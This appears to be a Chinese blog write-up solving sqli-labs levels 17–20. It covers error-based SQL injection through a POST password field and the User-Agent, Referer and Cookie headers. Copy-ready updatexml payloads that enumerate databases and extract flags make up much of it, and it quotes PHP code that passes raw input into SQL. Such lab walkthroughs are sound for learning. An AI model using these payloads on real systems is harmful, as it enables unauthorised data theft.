Hello大家,这个sqli-labs靶场两年前的时候写过几篇,但后面因为其他原因耽搁了,所以才没有后续;
- 但现在随着应急响应以及渗透测试做的越来越多,发现我越来越
依赖工具了,而这是与我的初衷相违背的;- 所以从今天开始我将一一手动把那几个经典靶场给打一下,加深自己这方面的理解;
文章目录
-
- [sqli-labs第17关 --- POST型报错注入](#sqli-labs第17关 — POST型报错注入)
- [sqli-labs第18关 --- POST型UA头报错注入](#sqli-labs第18关 — POST型UA头报错注入)
- [sqli-labs第19关 --- POST型refer头报错注入](#sqli-labs第19关 — POST型refer头报错注入)
- [sqli-labs第20关 --- POST型Cookie头报错注入](#sqli-labs第20关 — POST型Cookie头报错注入)
- 总结
提示:以下是本篇文章正文内容,下面案例可供参考
sqli-labs第17关 --- POST型报错注入
这里因为许久没做,所以讲的详细一些,后面的题目如无特别地方,就不赘述了 直接给代码;
还是老样子,我们先看源码:


- 代码分析:
- 首先在
$update参数中,密码passwd必须在username存在的前提下设置;(也就是不能随便输入) - 然后在密码处进行注入;
- 首先在
所以我们尝试在passwd输入代码:
bash
# 检查回显位
?id=1' order by 3 -- fa
# 确定注入点
?id=-1' union select 1,2,3 -- da
确定注入点,发生了错误?

错误原因分析:注入环境是一个
UPDATE语句,而不是SELECT语句。
UNION SELECT的作用是将两个结果集(Result Set)合并。它只能用于SELECT查询中。- 当你输入
?id=-1' union select 1,2,3 -- da作为密码时,SQL 变成了:- UPDATE users SET password = '?id=-1' union select 1,2,3 -- da' WHERE username='admin'
- 很明显造成了语法错误;
所以这里使用报错注入:
为什么报错注入能成功
这是因为源码中存在一个明显的安全疏忽。
(1) 用户名 ($uname): 调用了 check_input() 函数,有效地防御了大部分针注入
php
$uname=check_input($_POST['uname']); // 经过了过滤和转义
(2)密码 ($passwd): 完全没有过滤!
php
$passwd=$_POST['passwd']; // 直接获取原始输入
--
注入原理
当你在密码框输入 1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 时,最终执行的 SQL 如下:
sql
UPDATE users SET password = '1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#' WHERE username='admin'
成功原因
- 闭合单引号:
1111'闭合了原有的左单引号。 - 函数触发:
updatexml()是一个 XML 格式校验函数。它的第二个参数要求是合法的 XPath 格式。 - 强制报错: 我们故意传入了
0x7e(波浪号~),这不符合 XPath 规范。MySQL 在处理时会报错,并将第二个参数的内容(即select user()的执行结果)包含在错误信息中显示出来。
所以报错注入能够返回数据;
具体代码如下:
bash
# 查表名(失败)
111' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)) -- da
查表名时又出现了一点问题:

所以我们需要limit 一下它的输出,成功返回结果,其他照旧:
bash
# 查看数据库
111' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) -- da
# 查表名,得到flag
111' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) -- da
# 查列名,得到flag4
111' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) -- da
# 列名详细字段: ctfshow{91bdfb83-4f2f-4022-98cc
111' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) -- da
# 获取后半段: -4bc0257d5b11}
111' and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) -- da

由于 updatexml 报错信息的长度限制为 32 个字符,剩下的内容被截断了。你需要使用 mid() 或 substr() 函数,从第 32 位开始读取后续的字符。

sqli-labs第18关 --- POST型UA头报错注入
查看源码:


发现还是数字型闭合,并且将结果逆序输出;
输入参数后,页面如下:

并且发现:

注入点判断
- 页面显示yourip应该是请求头的参数参入
- 同时post传入并未有该参数
- 用admin登录成功后发现有User-agents显示
尝试了一下果然是UA头注入:

注入原理
在源码中,注入点发生在 $insert 语句的第一个参数 $uagent 处:
php
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
(1)测试的payload:' and '1' = '1
- 第一个
':打破原有的字符串边界。 - 中间的
and:串联你的恶意指令。 - 最后的
'1' = '1:负责把原 SQL 语句中剩下的那个右单引号给"吃掉"或匹配上,从而维持整行代码的语法平衡,不让数据库报错。
这样做的目的是在第一个参数的位置,利用 AND 强行插入一个子查询。
(2)测试的payload2:' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
这个 Payload 同样是利用 报错注入。它在代码中形成的语句如下:
sql
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)
VALUES ('1' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1', '$IP', $uname)
基本的原理看上面;
VALUES ('[你的逻辑结果]', '$IP', $uname)- 如果登录成功:IP** 和 **uname 有值,语句语法正确,注入成功并报错。
- 如果参数没对齐:只要 IP 和 uname 对应的位置有合法的数据占位,报错注入就能触发。
于是输入注入语句即可:
bash
# 查数据库,得到ctfshow
' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1
# 查表,得到flag
' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1
# 查列,得到flag4
' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1
# 获取详细字段 ctfshow{6668784a-ed09-4331-aca0
' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1
# 获取下半段 -7d3a72d61286}
'and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1
sqli-labs第19关 --- POST型refer头报错注入
这里我们查看源代码,可以发现与上一关差不多:

而基本原理也是一样的,这里不再赘述;

直接上代码:
bash
# 查数据库,得到ctfshow
' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1
# 查表,得到flag
' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1
# 查列,得到flag4
' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1
# 获取详细字段 ctfshow{ee7cc8a6-d168-4be1-b2fc
' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1
# 获取下半段 -5acbe9e439b1}
'and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1
sqli-labs第20关 --- POST型Cookie头报错注入
查看源码:

- 代码:
setcookie('uname', $cookee, time()+3600);- 功能:一旦数据库返回了匹配的用户信息(if($row1) 成立),服务器就会在浏览器生成一个名为 uname 的 Cookie,有效期 1 小时。
- 并不是时间盲注;
默认页面如下:

尝试Cookie参数:

注意:需要带上
uname=参数
bash
# 查数据库,得到ctfshow
uname=' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1
# 查表,得到flag
uname=' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1
# 查列,得到flag4
uname=' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1
# 获取详细字段 ctfshow{9c49798f-44e0-423c-a00d
uname=' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1
# 获取下半段 -115b73e5c1de}
uname='and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1


总结
期待下次再见;